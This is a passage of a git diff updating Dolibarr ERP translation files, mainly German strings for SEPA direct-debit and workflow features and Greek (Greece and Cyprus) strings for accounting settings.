Seite/Container +WebsiteMustBeDisabled=Die Website muss den Status „%s“ haben +WebpageMustBeDisabled=Die Webseite muss den Status „%s“ haben +SetWebsiteOnlineBefore=Wenn die Website offline ist, sind alle Seiten offline. Ändern Sie zuerst den Status der Website. +Booking=Buchung +Reservation=Reservierung +PagesViewedPreviousMonth=Angesehene Seiten (Vormonat) +PagesViewedTotal=Angesehene Seiten (gesamt) diff --git a/htdocs/langs/de_DE/withdrawals.lang b/htdocs/langs/de_DE/withdrawals.lang index c2331dd09b6..bea6789100f 100644 --- a/htdocs/langs/de_DE/withdrawals.lang +++ b/htdocs/langs/de_DE/withdrawals.lang @@ -3,7 +3,7 @@ CustomersStandingOrdersArea=Zahlungen per Lastschriftauftrag SuppliersStandingOrdersArea=Zahlungen per Überweisung StandingOrdersPayment=SEPA Lastschrift StandingOrderPayment=Lastschrift -NewStandingOrder=Neue Bestellung mit Zahlart Lastschrift +NewStandingOrder=Neuer Lastschriftauftrag NewPaymentByBankTransfer=neue Zahlung per Überweisung StandingOrderToProcess=Zu bearbeiten PaymentByBankTransferReceipts=Überweisungsaufträge @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Rechnung wartet auf Überweisung AmountToWithdraw=Abbuchungsbetrag AmountToTransfer=Zu überweisender Betrag NoInvoiceToWithdraw=Es wartet keine Rechnung für '%s'. Gehen Sie auf der Rechnungskarte auf die Registerkarte '%s', um eine Anfrage zu stellen. -NoSupplierInvoiceToWithdraw=Es wartet keine Lieferantenrechnung mit offenen 'Direktgutschriftsanträgen'. Gehen Sie auf die Registerkarte '%s' auf der Rechnungskarte, um eine Anfrage zu stellen. +NoSupplierInvoiceToWithdraw=Es liegt keine Lieferantenrechnung mit offenen '%s' vor. Gehen Sie auf der Rechnungsseite auf die Registerkarte „%s“, um einen Überweisungsauftrag zu erstellen. ResponsibleUser=Verantwortlicher Benutzer WithdrawalsSetup=Einstellungen für Lastschriftaufträge CreditTransferSetup=Einstellungen Modul Zahlung per Überweisung @@ -42,7 +42,8 @@ CreditTransferStatistics=Statistiken Überweisungen Rejects=Ablehnungen LastWithdrawalReceipt=Letzte 1%s Einnahmen per Lastschrift MakeWithdrawRequest=Erstelle eine Lastschrift -MakeBankTransferOrder=Stelle eine Überweisungsanfrage +MakeWithdrawRequestStripe=Fordern Sie eine Lastschriftzahlung über Stripe an +MakeBankTransferOrder=Überweisungsauftrag erstellen WithdrawRequestsDone=%s Lastschrift-Zahlungsaufforderungen aufgezeichnet BankTransferRequestsDone=%s Überweisungsanforderungen aufgezeichnet ThirdPartyBankCode=Geschäftspartner Bankcode @@ -81,7 +82,7 @@ StatusMotif5=nicht nutzbare Kontodaten StatusMotif6=Leeres Konto StatusMotif7=Gerichtsbescheid StatusMotif8=Andere Gründe -CreateForSepaFRST=Lastschriftdatei erstellen (SEPA FRST) +CreateForSepaFRST=Lastschriftdatei erstellen (SEPA erstmalig) CreateForSepaRCUR=Lastschriftdatei erstellen (SEPA RCUR) CreateAll=Erstellen Sie eine Lastschriftdatei CreateFileForPaymentByBankTransfer=Datei für Überweisung erstellen @@ -96,12 +97,15 @@ WithBankUsingRIB=Bankkonten mit RIB WithBankUsingBANBIC=Bankkonten mit IBAN/BIC BankToReceiveWithdraw=Bankkonto für Abbuchungen BankToPayCreditTransfer=Bankkonto als Zahlungsquelle verwendet -CreditDate=Am +CreditDate=Gewährt am WithdrawalFileNotCapable=Abbuchungsformular für Ihr Land %s konnte nicht erstellt werden (Dieses Land wird nicht unterstützt). ShowWithdraw=Zeige Lastschrift IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Wenn auf der Rechnung mindestens ein Lastschrift-Zahlungsauftrag noch nicht verarbeitet wurde, wird dieser nicht als bezahlt festgelegt, um eine vorherige Abhebungsverwaltung zu ermöglichen. -DoStandingOrdersBeforePayments=Auf dieser Registerkarte können Sie einen Lastschrift-Zahlungsauftrag anfordern. Gehen Sie anschließend in das Menü Bank-> Zahlung per Lastschrift, um den Lastschriftauftrag zu generieren und zu verwalten. Wenn der Lastschriftauftrag geschlossen wird, wird die Zahlung auf Rechnungen automatisch erfasst und die Rechnungen werden geschlossen, wenn der zu zahlende Restbetrag null ist. -DoCreditTransferBeforePayments=Auf dieser Registerkarte können Sie einen Überweisungsauftrag anfordern. Gehen Sie anschließend in das Menü Bank-> Zahlung per Überweisung, um den Überweisungsauftrag zu generieren und zu verwalten. Wenn der Überweisungsauftrag geschlossen wird, wird die Zahlung auf Rechnungen automatisch erfasst und die Rechnungen werden geschlossen, wenn der zu zahlende Restbetrag null ist. +DoStandingOrdersBeforePayments=Auf dieser Registerkarte können Sie einen Lastschrift-Zahlungsauftrag anfordern. Gehen Sie anschließend in das Menü Bank-> Zahlung per Lastschrift, um den Lastschriftauftrag zu generieren und zu verwalten. +DoStandingOrdersBeforePayments2=Sie können eine Anfrage auch direkt an einen SEPA-Zahlungsabwickler wie Stripe, ... senden. +DoStandingOrdersBeforePayments3=Wenn der Lastschriftauftrag geschlossen wird, werden Zahlungen auf Rechnungen automatisch erfasst und Rechnungen geschlossen, wenn der Restbetrag null ist. +DoCreditTransferBeforePayments=Auf dieser Registerkarte können Sie einen Überweisungsauftrag erstellen. Wenn Sie fertig sind, gehen Sie in das Menü "Bank->Zahlung per Überweisung", um eine Überweisungsauftragsdatei zu erstellen und zu verwalten. +DoCreditTransferBeforePayments3=Wenn der Überweisungsauftrag abgeschlossen ist, werden Zahlungen auf Rechnungen automatisch erfasst und Rechnungen geschlossen, wenn der zu zahlende Restbetrag null ist. WithdrawalFile=Datei für Lastschrift-Aufträge CreditTransferFile=Überweisungsdatei SetToStatusSent=Setze in Status "Datei versandt" @@ -111,14 +115,14 @@ RUM=UMR DateRUM=Datum der Unterzeichnung des Mandats RUMLong=Eindeutige Mandatsreferenz RUMWillBeGenerated=Wenn leer, wird die Mandatsreferenz generiert, sobald die Bankkontodaten gespeichert sind -WithdrawMode=Lastschriftmodus (FRST oder RECUR) +WithdrawMode=Lastschriftmodus (erstmalig oder wiederkehrend) WithdrawRequestAmount=Lastschrifteinzug Einzugs Betrag: -BankTransferAmount=Betrag der Überweisungsanforderung: +BankTransferAmount=Betrag des Überweisungsauftrags: WithdrawRequestErrorNilAmount=Es kann keine Lastschriftanforderung für einen leeren Betrag erstellt werden. SepaMandate=SEPA-Lastschriftmandat SepaMandateShort=SEPA-Mandate -PleaseReturnMandate=Bitte senden Sie dieses Formular per E-Mail an %s oder per Post an -SEPALegalText=Mit der Unterzeichnung dieses Lastschriftmandats autorisieren Sie als Kontoinhaber (A) den Zahlungsempfänger %s Zahlungen von Ihrem Konto mittels Lastschrift einzuziehen und weisen (B) Ihr Kreditinstitut an, die von %s auf Ihr Konto gezogenen Lastschriften einzulösen. \nHinweis: Sie können innerhalb von acht Wochen, beginnend mit dem Belastungsdatum, die Erstattung des belasteten Betrags verlangen. Es gelten dabei die mit Ihrem Kreditinstitut vereinbarten Bedingungen.\n +PleaseReturnMandate=Bitte senden Sie das ausgefüllte Formular per E-Mail an %s oder per Post an +SEPALegalText=Mit der Unterzeichnung dieses Lastschriftmandats autorisieren Sie als Kontoinhaber (A) den Zahlungsempfänger %s und seinen Zahlungsdienstleister, Zahlungen von Ihrem Konto mittels Lastschrift einzuziehen und weisen (B) Ihr Kreditinstitut an, die von %s auf Ihr Konto gezogenen Lastschriften einzulösen. \nHinweis: Sie können innerhalb von acht Wochen, beginnend mit dem Belastungsdatum, die Erstattung des belasteten Betrags verlangen. Es gelten dabei die mit Ihrem Kreditinstitut vereinbarten Bedingungen.\n CreditorIdentifier=Kennung Kreditor CreditorName=Name Kreditor SEPAFillForm=Kontoinhaber: (bitte füllen Sie alle mit * markierten Felder aus) @@ -132,8 +136,8 @@ PleaseCheckOne=Bitte prüfen sie nur eine CreditTransferOrderCreated=Überweisungsauftrag %s erstellt DirectDebitOrderCreated=Lastschrift %s erstellt AmountRequested=angeforderter Betrag -SEPARCUR=SEPA CUR -SEPAFRST=SEPA FRST +SEPARCUR=SEPA wiederkehrend +SEPAFRST=SEPA erstmalig ExecutionDate=Ausführungsdatum CreateForSepa=Erstellen Sie eine Lastschriftdatei ICS=Gläubiger-Identifikationsnummer - ICS diff --git a/htdocs/langs/de_DE/workflow.lang b/htdocs/langs/de_DE/workflow.lang index 1744ab50997..6cfee1bd30c 100644 --- a/htdocs/langs/de_DE/workflow.lang +++ b/htdocs/langs/de_DE/workflow.lang @@ -19,10 +19,10 @@ descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Den zugrundeliegenden Kunden descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Setzt das verknüpfte Lieferantenangebot auf "abgerechnet", sofern die Lieferanrenrechnung erstellt wurde und sofern der Rechnungsbetrag identisch zur Angebotsumme ist. # Autoclassify purchase order descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Kennzeichne die verknüpfte Lieferantenbestellung als abgerechnet, wenn die Lieferantenrechnung erstellt wurde und die Gesamtbeträge übereinstimmen. -descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Verknüpfte Lieferantenbestellung als eingegangen klassifizieren, wenn ein Wareneingang validiert wird (und wenn die von allen Wareneingängen eingegangene Menge mit der zu aktualisierenden Lieferantenbestellung übereinstimmt) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Verknüpfte Lieferantenbestellung als eingegangen klassifizieren, wenn ein Wareneingang freigegeben wird (und wenn die von allen Wareneingängen eingegangene Menge mit der zu aktualisierenden Lieferantenbestellung übereinstimmt) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Verknüpfte Lieferantenbestellung als eingegangen klassifizieren, wenn ein Wareneingang geschlossen wird (und wenn die von allen Wareneingängen eingegangene Menge mit der zu aktualisierenden Bestellung übereinstimmt) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Klassifizieren Sie Empfänge als "in Rechnung gestellt", wenn eine verknüpfte Lieferantenbestellung validiert wird +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Wareneingänge als „abgerechnet“ klassifizieren, wenn eine verknüpfte Einkaufsrechnung freigegeben wird (und wenn der Rechnungsbetrag mit dem Gesamtbetrag der verknüpften Wareneingänge übereinstimmt) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=Verknüpfen Sie beim Erstellen eines Tickets verfügbare Verträge passender Geschäftspartner descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Beim Verknüpfen von Verträgen unter denen der Mutterunternehmen suchen @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Schließen Sie alle mit dem Ticket verkn AutomaticCreation=Automatische Erstellung AutomaticClassification=Automatische Klassifikation # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Klassifizieren Sie die verknüpfte Lieferung als geschlossen, wenn die Kundenrechnung validiert ist. +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Verknüpfte Lieferung als abgeschlossen klassifizieren, wenn die Kundenrechnung freigegeben ist (und wenn der Rechnungsbetrag mit dem Gesamtbetrag der verknüpften Lieferungen übereinstimmt) AutomaticClosing=Automatisches Schließen AutomaticLinking=Automatisches Verknüpfen diff --git a/htdocs/langs/el_CY/admin.lang b/htdocs/langs/el_CY/admin.lang index aac79a4499a..f8581db8efb 100644 --- a/htdocs/langs/el_CY/admin.lang +++ b/htdocs/langs/el_CY/admin.lang @@ -4,4 +4,3 @@ EmailCollectorHideMailHeadersHelp=When enabled, e-mail headers are not added at EmailCollectorExampleToCollectDolibarrAnswersDesc=Collect all emails that are an answer of an email sent from your application. An event (Module Agenda must be enabled) with the email response will be recorded at the good place. For example, if your send a commercial proposal, order, invoice or message for a ticket by email from the application, and your customer answers your email, the system will automatically catch the answer and add it into your ERP. XEmailsDoneYActionsDone=%s emails qualified, %s emails successfully processed (for %s record/actions done) OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      diff --git a/htdocs/langs/el_CY/hrm.lang b/htdocs/langs/el_CY/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/el_CY/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/el_CY/install.lang b/htdocs/langs/el_CY/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/el_CY/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/el_CY/propal.lang b/htdocs/langs/el_CY/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/el_CY/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/el_CY/stripe.lang b/htdocs/langs/el_CY/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/el_CY/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/el_GR/accountancy.lang b/htdocs/langs/el_GR/accountancy.lang index 724cd5fa56b..bbb759a6490 100644 --- a/htdocs/langs/el_GR/accountancy.lang +++ b/htdocs/langs/el_GR/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Επιλέξτε τον τύπο επιστροφής ACCOUNTING_EXPORT_PREFIX_SPEC=Καθορίστε το πρόθεμα για το όνομα του αρχείου ThisService=Αυτή η υπηρεσία ThisProduct=Αυτό το προϊόν -DefaultForService=Προεπιλογή για υπηρεσία -DefaultForProduct=Προεπιλογή για προϊόν +DefaultForService=Προεπιλογή για υπηρεσίες +DefaultForProduct=Προεπιλογή για προϊόντα ProductForThisThirdparty=Προϊόν προς τρίτο μέρος ServiceForThisThirdparty=Υπηρεσία προς τρίτο μέρος CantSuggest=Δεν προτείνεται @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=Ο Κύριος λογαριασμός λογ MainAccountForUsersNotDefined=Ο Κύριος λογαριασμός λογιστικής για χρήστες δεν έχει οριστεί κατά τη ρύθμιση MainAccountForVatPaymentNotDefined=Ο Κύριος λογαριασμός λογιστικής για πληρωμή ΦΠΑ δεν έχει οριστεί κατά τη ρύθμιση MainAccountForSubscriptionPaymentNotDefined=Ο κύριος λογαριασμός λογιστικής για την πληρωμή συνδρομής δεν έχει οριστεί κατά τη ρύθμιση +UserAccountNotDefined=Ο λογαριασμός λογιστικής για τον χρήστη δεν έχει οριστεί κατά τη ρύθμιση AccountancyArea=Τομέας Λογιστικής AccountancyAreaDescIntro=Η χρήση της ενότητας λογιστικής πραγματοποιείται σε διάφορα στάδια: @@ -100,7 +101,8 @@ ShowAccountingAccount=Εμφάνιση λογαριασμού λογιστική ShowAccountingJournal=Εμφάνιση ημερολογίου λογιστικής ShowAccountingAccountInLedger=Εμφάνιση λογαριασμού λογιστικής στο καθολικό ShowAccountingAccountInJournals=Εμφάνιση λογαριασμού λογιστικής στα ημερολόγια -AccountAccountingSuggest=Προτεινόμενος λογαριασμός λογιστικής +DataUsedToSuggestAccount=Δεδομένα που χρησιμοποιούνται για την πρόταση λογαριασμού +AccountAccountingSuggest=Προτεινόμενος λογαριασμός MenuDefaultAccounts=Προεπιλεγμένοι λογαριασμοί MenuBankAccounts=Τραπεζικοί Λογαριασμοί MenuVatAccounts=Λογαριασμοί Φ.Π.Α. @@ -125,6 +127,7 @@ WriteBookKeeping=Καταγραφή συναλλαγών στη λογιστικ Bookkeeping=Καθολικό BookkeepingSubAccount=Βοηθητικό καθολικό AccountBalance=Ισοζύγιο λογαριασμού +AccountBalanceSubAccount=Υπόλοιπο υπολογαριασμών ObjectsRef=Αναφορά αντικειμένου προέλευσης CAHTF=Σύνολο αγορών προμηθευτών προ φόρων TotalExpenseReport=Σύνολο αναφοράς εξόδων @@ -164,42 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Ενεργοποίηση σύνθετης λίστας ACCOUNTING_DATE_START_BINDING=Καθορίστε ημερομηνία έναρξης δεσμεύσεων & μεταφοράς στη λογιστική. Πριν από αυτή την ημερομηνία, οι συναλλαγές δεν θα μεταφερθούν στη λογιστική. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Ποια είναι η προεπιλεγμένη περίοδος στη λογιστική μεταφορά; -ACCOUNTING_SELL_JOURNAL=Ημερολόγιο πωλήσεων -ACCOUNTING_PURCHASE_JOURNAL=Ημερολόγιο αγορών -ACCOUNTING_MISCELLANEOUS_JOURNAL=Ημερολόγιο διαφόρων +ACCOUNTING_SELL_JOURNAL=Ημερολόγιο πωλήσεων - πωλήσεις και επιστροφές +ACCOUNTING_PURCHASE_JOURNAL=Ημερολόγιο αγορών - αγορές και επιστροφές +ACCOUNTING_BANK_JOURNAL=Cash journal - receipts and disbursements ACCOUNTING_EXPENSEREPORT_JOURNAL=Ημερολόγιο εξόδων -ACCOUNTING_SOCIAL_JOURNAL=Κοινωνικό ημερολόγιο +ACCOUNTING_MISCELLANEOUS_JOURNAL=Γενικό ημερολόγιο ACCOUNTING_HAS_NEW_JOURNAL=Έχει νέο περιοδικό +ACCOUNTING_INVENTORY_JOURNAL=Ημερολόγιο απογραφής +ACCOUNTING_SOCIAL_JOURNAL=Κοινωνικό ημερολόγιο ACCOUNTING_RESULT_PROFIT=Αποτέλεσμα λογιστικού λογαριασμού (Κέρδος) ACCOUNTING_RESULT_LOSS=Αποτέλεσμα λογιστικού λογαριασμού (Ζημιά) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Ημερολόγιο κλεισίματος -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Λογαριασμός λογιστικής της μεταβατικής τραπεζικής μεταφοράς +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως λογαριασμός για μεταβατικές τραπεζικές μεταφορές TransitionalAccount=Λογαριασμός της μεταβατικής τραπεζικής μεταφοράς -ACCOUNTING_ACCOUNT_SUSPENSE=Λογαριασμός λογιστικής αναμονής -DONATION_ACCOUNTINGACCOUNT=Λογαριασμός λογιστικής για την εγγραφή δωρεών -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Λογαριασμός λογιστικής για την εγγραφή συνδρομών +ACCOUNTING_ACCOUNT_SUSPENSE=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο λογαριασμός για μη κατανεμημένα κεφάλαια είτε εισπραχθέντα είτε καταβληθέντα, δηλαδή κεφάλαια σε «αναμονή» +DONATION_ACCOUNTINGACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί για την εγγραφή δωρεών (ενότητα δωρεών) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί για την εγγραφή συνδρομών μελών (Ενότητα μέλους - εάν η συνδρομή έχει καταγραφεί χωρίς τιμολόγιο) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Προεπιλεγμένος λογαριασμός λογιστικής για καταγραφή κατάθεσης πελάτη +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για την εγγραφή κατάθεσης πελατών UseAuxiliaryAccountOnCustomerDeposit=Αποθηκεύστε τον λογαριασμό πελάτη ως ατομικό λογαριασμό στο θυγατρικό καθολικό για γραμμές προκαταβολών (εάν απενεργοποιηθεί, ο ατομικός λογαριασμός για τις γραμμές προκαταβολών θα παραμείνει κενός) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Προεπιλεγμένος λογαριασμός λογιστικής για εγγραφή κατάθεσης σε προμηθευτή +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως προεπιλογή UseAuxiliaryAccountOnSupplierDeposit=Αποθηκεύστε τον λογαριασμό προμηθευτή ως ατομικό λογαριασμό στο θυγατρικό καθολικό για γραμμές προκαταβολών (εάν απενεργοποιηθεί, ο ατομικός λογαριασμός για τις γραμμές προκαταβολών θα παραμείνει κενός) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Λογαριασμός λογιστικής από προεπιλογή για την εγγραφή της εγγύησης που δόθηκε από τον πελάτη -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Προεπιλεγμένος λογαριασμός λογιστικής για τα αγορασμένα προϊόντα (χρησιμοποιείται αν δεν ορίζεται στο φύλλο προϊόντων) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Προεπιλεγμένος λογαριασμός λογιστικής για τα προϊόντα που αγοράστηκαν στην Ε.Ε. (χρησιμοποιείται αν δεν ορίζεται στο φύλλο προϊόντος) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Προεπιλεγμένος λογαριασμός λογιστικής για τα προϊόντα που αγοράστηκαν και εισάγονται εκτός Ε.Ε. (χρησιμοποιείται αν δεν ορίζεται στο φύλλο προϊόντος) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Προεπιλεγμένος λογαριασμός λογιστικής για τα πωληθέντα προϊόντα (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο προϊόντος) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Προεπιλεγμένος λογαριασμός λογιστικής για τα προϊόντα που πωλήθηκαν στην Ε.Ε. (χρησιμοποιείται αν δεν ορίζεται στο φύλλο προϊόντων) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Προεπιλεγμένος λογαριασμός λογιστικής για τα προϊόντα που πωλούνται και εξάγονται εκτός ΕΟΚ (χρησιμοποιείται αν δεν ορίζεται στο φύλλο προϊόντων) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τα προϊόντα που αγοράστηκαν στην ίδια χώρα (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο προϊόντος) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως προεπιλεγμένος λογαριασμός για τα προϊόντα που αγοράστηκαν από την Ε.Ε. σε άλλη χώρα της Ε.Ε. (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο προϊόντος) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τα προϊόντα που αγοράζονται και εισάγονται από οποιαδήποτε άλλη ξένη χώρα (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο προϊόντος) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τα πωληθέντα προϊόντα (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο προϊόντος) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Λογαριασμός (από το Λογιστικό Σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τα προϊόντα που πωλούνται από την Ε.Ε. σε άλλη χώρα της Ε.Ε. (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο προϊόντος) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τα προϊόντα που πωλούνται και εξάγονται σε οποιαδήποτε άλλη ξένη χώρα (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο προϊόντος) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Προεπιλεγμένος λογαριασμός λογιστικής για τις υπηρεσίες που αγοράσατε (χρησιμοποιείται αν δεν ορίζεται στο φύλλο εξυπηρέτησης) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Προεπιλεγμένος λογαριασμός λογιστικής για τις υπηρεσίες που αγοράστηκαν στην Ε.Ε. (χρησιμοποιείται αν δεν ορίζεται στο φύλλο υπηρεσίας) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Προεπιλεγμένος λογαριασμός λογιστικής για τις υπηρεσίες που αγοράστηκαν και εισήχθησαν εκτός Ε.Ε. (χρησιμοποιείται αν δεν ορίζεται στο φύλλο υπηρεσίας) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Προεπιλεγμένος λογαριασμός λογιστικής για την παροχή υπηρεσιών (χρησιμοποιείται αν δεν ορίζεται στο φύλλο εξυπηρέτησης) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Προεπιλεγμένος λογαριασμός λογιστικής για την παροχή υπηρεσιών σε χώρες της Ε.Ε. (χρησιμοποιείται αν δεν ορίζεται στο φύλλο υπηρεσιών) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Προεπιλεγμένος λογαριασμός λογιστικής για την παροχή υπηρεσιών σε χώρες εκτός Ε.Ε. (χρησιμοποιείται αν δεν ορίζεται στο φύλλο υπηρεσιών) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τις υπηρεσίες που αγοράστηκαν στην ίδια χώρα (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο υπηρεσιών) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τις υπηρεσίες που παρέχονται από την Ε.Ε. σε άλλη χώρα της Ε.Ε. (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο υπηρεσιών) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τις υπηρεσίες που αγοράζονται και εισάγονται από άλλη ξένη χώρα (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο υπηρεσιών) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τις υπηρεσίες που πωλήθηκαν (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο υπηρεσιών) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τις υπηρεσίες που παρέχονται από την Ε.Ε. σε άλλη χώρα της Ε.Ε. (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο υπηρεσιών) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τις υπηρεσίες που πωλούνται και εξάγονται σε οποιαδήποτε άλλη ξένη χώρα (χρησιμοποιείται εάν δεν ορίζεται στο φύλλο υπηρεσιών) Doctype=Τύπος εγγράφου Docdate=Ημερομηνία @@ -214,7 +220,8 @@ Codejournal=Ημερολόγιο JournalLabel=Ετικέτα Ημερολογίου NumPiece=Αριθμός καταχώρησης TransactionNumShort=Αριθ. συναλλαγής -AccountingCategory=Προσαρμοσμένη ομάδα +AccountingCategory=Προσαρμοσμένη ομάδα λογαριασμών +AccountingCategories=Προσαρμοσμένες ομάδες λογαριασμών GroupByAccountAccounting=Ομαδοποίηση ανά λογαριασμό γενικού καθολικού GroupBySubAccountAccounting=Ομαδοποίηση ανά λογαριασμό βοηθητικού καθολικού AccountingAccountGroupsDesc=Μπορείτε να ορίσετε εδώ ορισμένες ομάδες λογιστικού λογαριασμού. Θα χρησιμοποιηθούν για εξατομικευμένες λογιστικές εκθέσεις. @@ -231,6 +238,7 @@ ConfirmDeleteMvt=Αυτό θα διαγράψει 